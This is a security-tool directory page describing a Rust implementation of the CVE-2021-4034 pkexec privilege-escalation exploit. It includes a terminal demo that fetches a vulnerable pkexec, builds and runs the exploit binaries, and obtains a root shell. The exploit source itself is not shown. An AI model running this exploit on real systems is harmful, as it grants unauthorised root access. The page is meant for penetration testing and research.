Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2021-4034 — Rust implementation of the CVE-2021-4034 pkexec privilege escalation exploit, with scripts to download and unpack a vulnerable pkexec for testing. | Kitploit
Tools/GitHubGitHub/defhacks/cve-2021-4034
Privilege EscalationExploit FrameworksExploitationPayload DevelopmentBinary Exploitation
GitHubdefhacks/cve-2021-4034

cve-2021-4034

Rust implementation of the CVE-2021-4034 pkexec privilege escalation exploit, with scripts to download and unpack a vulnerable pkexec for testing.

View Repository
54 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-4034 exploit but in rust, cause why not ?

Based on https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c

root@kitploit:~
$ ./download-and-unpack-vulnerable-pkexec.sh
*optionally enable setuid/setgid for testing*
$ cargo run --bin prep && cd playground && cargo run --bin pwn
    Finished dev [unoptimized + debuginfo] target(s) in 0.00s
     Running `target/debug/prep`
    Finished dev [unoptimized + debuginfo] target(s) in 0.00s
     Running `/home/defhacks/hack/cve-2021-4034/target/debug/pwn`
gconv() called
sh-5.1# /bin/id
uid=0(root) gid=1000(defhacks) groups=1000(defhacks)
sh-5.1#
Download Tool